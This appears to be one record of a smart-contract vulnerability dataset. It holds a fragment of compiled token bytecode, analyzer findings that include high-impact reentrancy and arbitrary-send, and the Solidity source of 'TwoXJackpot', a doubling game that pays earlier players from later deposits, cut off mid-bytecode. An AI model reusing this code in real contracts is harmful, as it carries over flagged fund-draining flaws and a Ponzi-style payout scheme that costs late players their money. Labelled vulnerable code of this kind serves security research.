27f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610573565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80610a8f57610a8f6111c6565b610a9a8484846111e9565b80610ab057610ab0600c54600b55600e54600d55565b50505050565b6001600160a01b038316610b1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610573565b6001600160a01b038216610b7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610573565b60008111610bde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610573565b6000610be9306106c1565b6001600160a01b0385166000908152601360205260408120549192506001914791839160ff16158015610c3557506001600160a01b03881660009081526013602052604090205460ff16155b15610d2657601254861115610c845760405162461bcd60e51b815260206004820152601560248201527417db585e151e105b5bdd5b9d08195e18d959591959605a1b6044820152606401610573565b601554600160a01b900460ff16158015610cac57506015546001600160a01b03898116911614155b8015610cc15750601554600160a81b900460ff165b15610d26578315610d1757601554600160b01b900460ff1615610d0e576000610ceb866003610fa6565b9050610cff610cfa87836112e0565b610fe8565b610d0881611322565b50610d17565b610d1785610fe8565b8115610d2657610d2683610ee9565b6001600160a01b03881660009081526008602052604090205460ff1680610d6557506001600160a01b03871660009081526008602052604090205460ff165b15610d6e575060005b610d7a88888884610a82565b6003546001600160a01b03891660009081526001602052604090205410610dd157600454610da99043906113c9565b6001600160a01b03891660009081526002602090815260408083209390935560019052908120555b5050505050505050565b60008184841115610dff5760405162461bcd60e51b81526004016105739190611866565b506000610e0c84866119a2565b95945050505050565b6000600954821115610e7c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610573565b6000610e86611428565b9050610e928382610fa6565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f23573d6000803e3d6000fd5b5050565b600082610f3657506000610543565b6000610f428385611983565b905082610f4f8583611963565b14610e925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610573565b6000610e9283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144b565b6015805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109257600080fd5b505afa1580156110a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ca91906116ff565b816001815181106110eb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601454611111913091168461095e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061114a90859060009086903090429060040161190f565b600060405180830381600087803b15801561116457600080fd5b505af1158015611178573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516111ad9291906118ee565b60405180910390a150506015805460ff60a01b19169055565b600b541580156111d65750600d54155b156111dd57565b6000600b819055600d55565b6000806000806000806111fb87611479565b6001600160a01b038f16600090815260056020526040902054959b5093995091975095509350915061122d90876112e0565b6001600160a01b03808b1660009081526005602052604080822093909355908a168152205461125c90866113c9565b6001600160a01b03891660009081526005602052604090205561127e816114d6565b6112888483611520565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112cd91815260200190565b60405180910390a3505050505050505050565b6000610e9283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ddb565b6015805460ff60a01b1916600160a01b1790556000611342826002610fa6565b9050600061135083836112e0565b90504761135c83610fe8565b600061136847836112e0565b90506113748382611544565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506015805460ff60a01b19169055505050565b6000806113d6838561194b565b905083811015610e925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610573565b6000806000611435611604565b90925090506114448282610fa6565b9250505090565b6000818361146c5760405162461bcd60e51b81526004016105739190611866565b506000610e0c8486611963565b60008060008060008060008060006114968a600b54600d54611644565b92509250925060006114a6611428565b905060008060006114b98e878787611693565b919e509c509a509598509396509194505050505091939550919395565b60006114e0611428565b905060006114ee8383610f27565b3060009081526005602052604090205490915061150b90826113c9565b30600090815260056020526040902055505050565b60095461152d90836112e0565b600955600a5461153d90826113c9565b600a555050565b60145461155c9030906001600160a01b03168461095e565b60145460405163f305d71960e01b8152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b1580156115c457600080fd5b505af11580156115d8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115fd91906117f6565b5050505050565b6009546000908190670de0b6b3a764000061161f8282610fa6565b82101561163b57505060095492670de0b6b3a764000092509050565b90939092509050565b600080808061165860646108248989610f27565b9050600061166b60646108248a89610f27565b905060006116838261167d8b866112e0565b906112e0565b9992985090965090945050505050565b60008080806116a28886610f27565b905060006116b08887610f27565b905060006116be8888610f27565b905060006116d08261167d86866112e0565b939b939a50919850919650505050505050565b6000602082840312156116f4578081fd5b8135610e92816119cf565b600060208284031215611710578081fd5b8151610e92816119cf565b6000806040838503121561172d578081fd5b8235611738816119cf565b91506020830135611748816119cf565b809150509250929050565b600080600060608486031215611767578081fd5b8335611772816119cf565b92506020840135611782816119cf565b929592945050506040919091013590565b600080604083850312156117a5578182fd5b82356117b0816119cf565b946020939093013593505050565b6000602082840312156117cf578081fd5b81358015158114610e92578182fd5b6000602082840312156117ef578081fd5b5035919050565b60008060006060848603121561180a578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b8381101561185b5781516001600160a01b031687529582019590820190600101611836565b509495945050505050565b6000602080835283518082850152825b8181101561189257858101830151858201604001528201611876565b818111156118a35783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8281526040602082015260006119076040830184611823565b949350505050565b85815284602082015260a06040820152600061192e60a0830186611823565b6001600160a01b0394909416606083015250608001529392505050565b6000821982111561195e5761195e6119b9565b500190565b60008261197e57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561199d5761199d6119b9565b500290565b6000828210156119b4576119b46119b9565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461060d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209cb63975d74548a80b28e2c3e3ad5500359d9aeb27ec47af1fc14be6aa33af6164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,662 |
0x509cb8cb2f8ba04ae81eec394175707edd37e109
|
pragma solidity ^0.4.21;
contract TwoXJackpot {
using SafeMath for uint256;
address public contractOwner; // Address of the contract creator
// BuyIn Object, holding information of each Buy In
// Also used to store information about winners in each game
struct BuyIn {
uint256 value;
address owner;
}
// Game Object, holding information of each Game played
struct Game {
BuyIn[] buyIns; // FIFO queue
address[] winners; // Jackpot Winners addresses
uint256[] winnerPayouts; // Jackpot Winner Payouts
uint256 gameTotalInvested; // Total Invested in game
uint256 gameTotalPaidOut; // Total Paid Out in game
uint256 gameTotalBacklog; // Total Amount waiting to payout
uint256 index; // The current BuyIn queue index
mapping (address => uint256) totalInvested; // Total invested for a given address
mapping (address => uint256) totalValue; // Total value for a given address
mapping (address => uint256) totalPaidOut; // Total paid out for a given address
}
mapping (uint256 => Game) public games; // Map game index to the game
uint256 public gameIndex; // The current Game Index
// Timestamp of the last action.
// Jackpot
uint256 public jackpotBalance; // Total balance of Jackpot (before re-seed deduction)
address public jackpotLastQualified; // Last Purchaser, in running for Jackpot claim
address public jackpotLastWinner; // Last Winner Address
uint256 public jackpotLastPayout; // Last Payout Amount (after re-seed deduction)
uint256 public jackpotCount; // Number of jackpots for sliding payout.
// Timestamp of Game Start
uint256 public gameStartTime; // Game Start Time
uint256 public roundStartTime; // Round Start Time, used to pause the game
uint256 public lastAction; // Last Action Timestamp
uint256 public timeBetweenGames = 24 hours; // Time between games (4 Jackpots hit = 1 game)
uint256 public timeBeforeJackpot = 30 minutes; // Time between last purchase and jackpot payout (increases)
uint256 public timeBeforeJackpotReset = timeBeforeJackpot; // To reset the jackpot timer
uint256 public timeIncreasePerTx = 1 minutes; // How much time to increment the jackpot for each buy
uint256 public timeBetweenRounds = 5 minutes; // Time between rounds (each Round has 5 minute timeout)
// Buy In configuration logic
uint256 public buyFee = 90; // This ends up being a 10% fee towards Jackpot
uint256 public minBuy = 50; // Jackpot / 50 = 2% Min buy
uint256 public maxBuy = 2; // Jackpot / 2 = 50% Max buy
uint256 public minMinBuyETH = 0.02 ether; // Min buy in should be more then 0.02 ETH
uint256 public minMaxBuyETH = 0.5 ether; // Max buy in should be more then 0.5 ETH
uint256[] public gameReseeds = [90, 80, 60, 20]; // How much money reseeds to the next round
modifier onlyContractOwner() {
require(msg.sender == contractOwner);
_;
}
modifier isStarted() {
require(now >= gameStartTime); // Check game started
require(now >= roundStartTime); // Check round started
_;
}
/**
* Events
*/
event Purchase(uint256 amount, address depositer);
event Seed(uint256 amount, address seeder);
function TwoXJackpot() public {
contractOwner = msg.sender;
gameStartTime = now + timeBetweenGames;
lastAction = gameStartTime;
}
// //
// ADMIN FUNCTIONS //
// //
// Change the start time for fair launch
function changeStartTime(uint256 _time) public onlyContractOwner {
require(now < _time); // only allow changing it to something in the future
gameStartTime = _time;
lastAction = gameStartTime; // Don't forget to update last action too :)
}
// Change the start time for fair launch
function updateTimeBetweenGames(uint256 _time) public onlyContractOwner {
timeBetweenGames = _time; // Time after Jackpot claim we allow new buys.
}
// //
// User Functions //
// //
// Anyone can seed the jackpot, since its non-refundable. It will pay 10% forward to next game.
// Beware, there is no way to get your seed back unless you win the jackpot.
function seed() public payable {
jackpotBalance += msg.value; // Increase the value of the jackpot by this much.
//emit Seed event
emit Seed(msg.value, msg.sender);
}
function purchase() public payable isStarted {
// Check if the game is still running
if (now > lastAction + timeBeforeJackpot &&
jackpotLastQualified != 0x0) {
claim();
// Next game/round will start, return back money to user
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
// Check if JackPot is less then 1 ETH, then
// use predefined minimum and maximum buy in values
if (jackpotBalance <= 1 ether) {
require(msg.value >= minMinBuyETH); // >= 0.02 ETH
require(msg.value <= minMaxBuyETH); // <= 0.5 ETH
} else {
uint256 purchaseMin = SafeMath.mul(msg.value, minBuy);
uint256 purchaseMax = SafeMath.mul(msg.value, maxBuy);
require(purchaseMin >= jackpotBalance);
require(purchaseMax <= jackpotBalance);
}
uint256 valueAfterTax = SafeMath.div(SafeMath.mul(msg.value, buyFee), 100); // Take a 10% fee for Jackpot, example on 1ETH Buy: 0.9 = (1.0 * 90) / 100
uint256 potFee = SafeMath.sub(msg.value, valueAfterTax); // Calculate the absolute number to put into pot.
jackpotBalance += potFee; // Add it to the jackpot
jackpotLastQualified = msg.sender; // You are now the rightly heir to the Jackpot...for now...
lastAction = now; // Reset jackpot timer
timeBeforeJackpot += timeIncreasePerTx; // Increase Jackpot Timer by 1 minute.
uint256 valueMultiplied = SafeMath.mul(msg.value, 2); // Double it
// Update Global Investing Information
games[gameIndex].gameTotalInvested += msg.value;
games[gameIndex].gameTotalBacklog += valueMultiplied;
// Update Game Investing Information
games[gameIndex].totalInvested[msg.sender] += msg.value;
games[gameIndex].totalValue[msg.sender] += valueMultiplied;
// Push new Buy In information in our game list of buy ins
games[gameIndex].buyIns.push(BuyIn({
value: valueMultiplied,
owner: msg.sender
}));
//Emit a deposit event.
emit Purchase(msg.value, msg.sender);
while (games[gameIndex].index < games[gameIndex].buyIns.length
&& valueAfterTax > 0) {
BuyIn storage buyIn = games[gameIndex].buyIns[games[gameIndex].index];
if (valueAfterTax < buyIn.value) {
buyIn.owner.transfer(valueAfterTax);
// Update game information
games[gameIndex].gameTotalBacklog -= valueAfterTax;
games[gameIndex].gameTotalPaidOut += valueAfterTax;
// game paid out and value update
games[gameIndex].totalPaidOut[buyIn.owner] += valueAfterTax;
games[gameIndex].totalValue[buyIn.owner] -= valueAfterTax;
buyIn.value -= valueAfterTax;
valueAfterTax = 0;
} else {
buyIn.owner.transfer(buyIn.value);
// Update game information
games[gameIndex].gameTotalBacklog -= buyIn.value;
games[gameIndex].gameTotalPaidOut += buyIn.value;
// game paid out and value update
games[gameIndex].totalPaidOut[buyIn.owner] += buyIn.value;
games[gameIndex].totalValue[buyIn.owner] -= buyIn.value;
valueAfterTax -= buyIn.value;
buyIn.value = 0;
games[gameIndex].index++;
}
}
}
// Claim the Jackpot
function claim() public payable isStarted {
require(now > lastAction + timeBeforeJackpot);
require(jackpotLastQualified != 0x0); // make sure last jackpotLastQualified is not 0x0
// Each game has 4 Jackpot payouts, increasing in payout percentage.
// Funds owed to you do not reset between Jackpots, but will reset after 1 game (4 Jackpots)
uint256 reseed = SafeMath.div(SafeMath.mul(jackpotBalance, gameReseeds[jackpotCount]), 100);
uint256 payout = jackpotBalance - reseed;
jackpotLastQualified.transfer(payout); // payout entire jackpot minus seed.
jackpotBalance = reseed;
jackpotLastWinner = jackpotLastQualified;
jackpotLastPayout = payout;
// Let's store now new winner in list of game winners
games[gameIndex].winners.push(jackpotLastQualified);
games[gameIndex].winnerPayouts.push(payout);
// RESET all the settings
timeBeforeJackpot = timeBeforeJackpotReset; // reset to 30 min on each round timer
jackpotLastQualified = 0x0; // set last qualified to 0x0
if(jackpotCount == gameReseeds.length - 1){
// Reset all outstanding owed money after 4 claimed jackpots to officially restart the game.
gameStartTime = now + timeBetweenGames; // Restart the game in a specified period (24h)
lastAction = gameStartTime; // Reset last action to the start of the game
gameIndex += 1; // Next Game!
jackpotCount = 0; // Reset Jackpots back to 0 after game end.
} else {
lastAction = now + timeBetweenRounds;
roundStartTime = lastAction;
jackpotCount += 1;
}
}
// Fallback, sending any ether will call purchase()
function () public payable {
purchase();
}
// PUBLIC METHODS TO RETRIEVE DATA IN UI
// Return Current Jackpot Info
// [ JackPotBalance, jackpotLastQualified, jackpotLastWinner, jackpotLastPayout,
// jackpotCount, gameIndex, gameStartTime, timeTillRoundEnd, roundStartTime]
function getJackpotInfo() public view returns (uint256, address, address, uint256, uint256, uint256, uint256, uint256, uint256) {
return (
jackpotBalance,
jackpotLastQualified,
jackpotLastWinner,
jackpotLastPayout,
jackpotCount,
gameIndex,
gameStartTime,
lastAction + timeBeforeJackpot,
roundStartTime
);
}
// Return player game info based on game index and player address
// [ totalInvested, totalValue, totalPaidOut]
function getPlayerGameInfo(uint256 _gameIndex, address _player) public view returns (uint256, uint256, uint256) {
return (
games[_gameIndex].totalInvested[_player],
games[_gameIndex].totalValue[_player],
games[_gameIndex].totalPaidOut[_player]
);
}
// Get user game info connected to current game
function getMyGameInfo() public view returns (uint256, uint256, uint256) {
return getPlayerGameInfo(gameIndex, msg.sender);
}
// Return all the game constants, setting the game
function getGameConstants() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[]) {
return (
timeBetweenGames,
timeBeforeJackpot,
minMinBuyETH,
minMaxBuyETH,
minBuy,
maxBuy,
gameReseeds
);
}
// Return game information based on game index
function getGameInfo(uint256 _gameIndex) public view returns (uint256, uint256, uint256, address[], uint256[]) {
return (
games[_gameIndex].gameTotalInvested,
games[_gameIndex].gameTotalPaidOut,
games[_gameIndex].gameTotalBacklog,
games[_gameIndex].winners,
games[_gameIndex].winnerPayouts
);
}
// Return current running game info
function getCurrentGameInfo() public view returns (uint256, uint256, uint256, address[], uint256[]) {
return getGameInfo(gameIndex);
}
// Return time when next game will start
function getGameStartTime() public view returns (uint256) {
return gameStartTime;
}
// Return end time for the jackpot round
function getJackpotRoundEndTime() public view returns (uint256) {
return lastAction + timeBeforeJackpot;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630252b995146101c157806303a168e0146101ea578063040da8f41461023f5780630be8287e14610268578063109050bc14610321578063117a5b90146103765780631a6dafa6146103c25780631d759214146103eb5780632a77f2b71461041457806343c1f0ed1461043d578063470624021461046657806347e1d5501461048f5780634b50c9f0146105645780634e71d92d1461058d578063542df7c7146105975780635654a3411461062b57806358541aba1461065457806364edfbf01461067d5780636666d22c1461068757806370db69d6146106b05780637107d7a6146106d95780637d94792a1461070257806389f71d531461070c5780638aa5b2c3146107355780639cd2221114610758578063a645e840146107bc578063a9496e7314610883578063baa30f7b146108ac578063bd05c055146108d5578063ce606ee0146108fe578063dd4f8f7414610953578063e6c57a081461097c578063f1233b79146109a5578063f78b1482146109c8578063fcdb2c04146109ff575b6101bf610a36565b005b34156101cc57600080fd5b6101d46112f0565b6040518082815260200191505060405180910390f35b34156101f557600080fd5b6101fd6112f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561024a57600080fd5b61025261131c565b6040518082815260200191505060405180910390f35b341561027357600080fd5b61027b611322565b604051808a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001878152602001868152602001858152602001848152602001838152602001828152602001995050505050505050505060405180910390f35b341561032c57600080fd5b6103346113ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038157600080fd5b61039760048080359060200190919050506113d2565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34156103cd57600080fd5b6103d5611402565b6040518082815260200191505060405180910390f35b34156103f657600080fd5b6103fe611410565b6040518082815260200191505060405180910390f35b341561041f57600080fd5b610427611416565b6040518082815260200191505060405180910390f35b341561044857600080fd5b61045061141c565b6040518082815260200191505060405180910390f35b341561047157600080fd5b610479611422565b6040518082815260200191505060405180910390f35b341561049a57600080fd5b6104b06004808035906020019091905050611428565b604051808681526020018581526020018481526020018060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156105095780820151818401526020810190506104ee565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561054b578082015181840152602081019050610530565b5050505090500197505050505050505060405180910390f35b341561056f57600080fd5b61057761159b565b6040518082815260200191505060405180910390f35b6105956115a5565b005b34156105a257600080fd5b6105aa6118c7565b6040518088815260200187815260200186815260200185815260200184815260200183815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156106115780820151818401526020810190506105f6565b505050509050019850505050505050505060405180910390f35b341561063657600080fd5b61063e611955565b6040518082815260200191505060405180910390f35b341561065f57600080fd5b61066761195b565b6040518082815260200191505060405180910390f35b610685610a36565b005b341561069257600080fd5b61069a611961565b6040518082815260200191505060405180910390f35b34156106bb57600080fd5b6106c3611967565b6040518082815260200191505060405180910390f35b34156106e457600080fd5b6106ec61196d565b6040518082815260200191505060405180910390f35b61070a611973565b005b341561071757600080fd5b61071f6119f0565b6040518082815260200191505060405180910390f35b341561074057600080fd5b61075660048080359060200190919050506119f6565b005b341561076357600080fd5b610798600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a72565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156107c757600080fd5b6107cf611b80565b604051808681526020018581526020018481526020018060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561082857808201518184015260208101905061080d565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561086a57808201518184015260208101905061084f565b5050505090500197505050505050505060405180910390f35b341561088e57600080fd5b610896611bb1565b6040518082815260200191505060405180910390f35b34156108b757600080fd5b6108bf611bb7565b6040518082815260200191505060405180910390f35b34156108e057600080fd5b6108e8611bbd565b6040518082815260200191505060405180910390f35b341561090957600080fd5b610911611bc3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561095e57600080fd5b610966611be8565b6040518082815260200191505060405180910390f35b341561098757600080fd5b61098f611bee565b6040518082815260200191505060405180910390f35b34156109b057600080fd5b6109c66004808035906020019091905050611bf4565b005b34156109d357600080fd5b6109e96004808035906020019091905050611c59565b6040518082815260200191505060405180910390f35b3415610a0a57600080fd5b610a12611c7d565b60405180848152602001838152602001828152602001935050505060405180910390f35b6000806000806000806008544210151515610a5057600080fd5b6009544210151515610a6157600080fd5b600c54600a540142118015610aaf57506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15610b0b57610abc6115a5565b6000341115610b06573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b0557600080fd5b5b6112e8565b670de0b6b3a7640000600354111515610b45576013543410151515610b2f57600080fd5b6014543411151515610b4057600080fd5b610b84565b610b5134601154611c99565b9550610b5f34601254611c99565b94506003548610151515610b7257600080fd5b6003548511151515610b8357600080fd5b5b610b9a610b9334601054611c99565b6064611cd4565b9350610ba63485611cef565b92508260036000828254019250508190555033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600a81905550600e54600c60008282540192505081905550610c1d346002611c99565b9150346001600060025481526020019081526020016000206003016000828254019250508190555081600160006002548152602001908152602001600020600501600082825401925050819055503460016000600254815260200190815260200160002060070160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160016000600254815260200190815260200160002060080160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506001600060025481526020019081526020016000206000018054806001018281610d5b9190611d08565b9160005260206000209060020201600060408051908101604052808681526020013373ffffffffffffffffffffffffffffffffffffffff1681525090919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050507f6b8e277b5ac199aea04139b79dce59b078ad22c9648f1bd3083495991809b7703433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15b6001600060025481526020019081526020016000206000018054905060016000600254815260200190815260200160002060060154108015610e9d5750600084115b156112e75760016000600254815260200190815260200160002060000160016000600254815260200190815260200160002060060154815481101515610edf57fe5b9060005260206000209060020201905080600001548410156110d4578060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501515610f5f57600080fd5b836001600060025481526020019081526020016000206005016000828254039250508190555083600160006002548152602001908152602001600020600401600082825401925050819055508360016000600254815260200190815260200160002060090160008360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508360016000600254815260200190815260200160002060080160008360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550838160000160008282540392505081905550600093506112e2565b8060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82600001549081150290604051600060405180830381858888f19350505050151561113c57600080fd5b806000015460016000600254815260200190815260200160002060050160008282540392505081905550806000015460016000600254815260200190815260200160002060040160008282540192505081905550806000015460016000600254815260200190815260200160002060090160008360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000015460016000600254815260200190815260200160002060080160008360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600001548403935060008160000181905550600160006002548152602001908152602001600020600601600081548092919060010191905055505b610e5b565b5b505050505050565b60085481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b6000806000806000806000806000600354600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654600754600254600854600c54600a5401600954985098509850985098509850985098509850909192939495969798565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915090508060030154908060040154908060050154908060060154905084565b6000600c54600a5401905090565b60135481565b60145481565b600c5481565b60105481565b6000806000611435611d3a565b61143d611d4e565b600160008781526020019081526020016000206003015460016000888152602001908152602001600020600401546001600089815260200190815260200160002060050154600160008a8152602001908152602001600020600101600160008b81526020019081526020016000206002018180548060200260200160405190810160405280929190818152602001828054801561152f57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116114e5575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561158157602002820191906000526020600020905b81548152602001906001019080831161156d575b505050505090509450945094509450945091939590929450565b6000600854905090565b60008060085442101515156115b957600080fd5b60095442101515156115ca57600080fd5b600c54600a5401421115156115de57600080fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561162657600080fd5b611658611651600354601560075481548110151561164057fe5b906000526020600020900154611c99565b6064611cd4565b915081600354039050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156116c357600080fd5b81600381905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600681905550600160006002548152602001908152602001600020600101805480600101828161175e9190611d62565b91600052602060002090016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060016000600254815260200190815260200160002060020180548060010182816117f99190611d8e565b916000526020600020900160008390919091505550600d54600c819055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160158054905003600754141561189d57600b544201600881905550600854600a81905550600160026000828254019250508190555060006007819055506118c3565b600f544201600a81905550600a5460098190555060016007600082825401925050819055505b5050565b6000806000806000806118d8611d4e565b600b54600c5460135460145460115460125460158080548060200260200160405190810160405280929190818152602001828054801561193757602002820191906000526020600020905b815481526020019060010190808311611923575b50505050509050965096509650965096509650965090919293949596565b60025481565b60065481565b600f5481565b60125481565b60115481565b346003600082825401925050819055507f1e887e0223a70e34388910381e33855e9815b8cf06f90822e0036992fc8d95373433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a5157600080fd5b8042101515611a5f57600080fd5b80600881905550600854600a8190555050565b60008060006001600086815260200190815260200160002060070160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001600087815260200190815260200160002060080160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001600088815260200190815260200160002060090160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250925092509250925092565b6000806000611b8d611d3a565b611b95611d4e565b611ba0600254611428565b945094509450945094509091929394565b600d5481565b60075481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff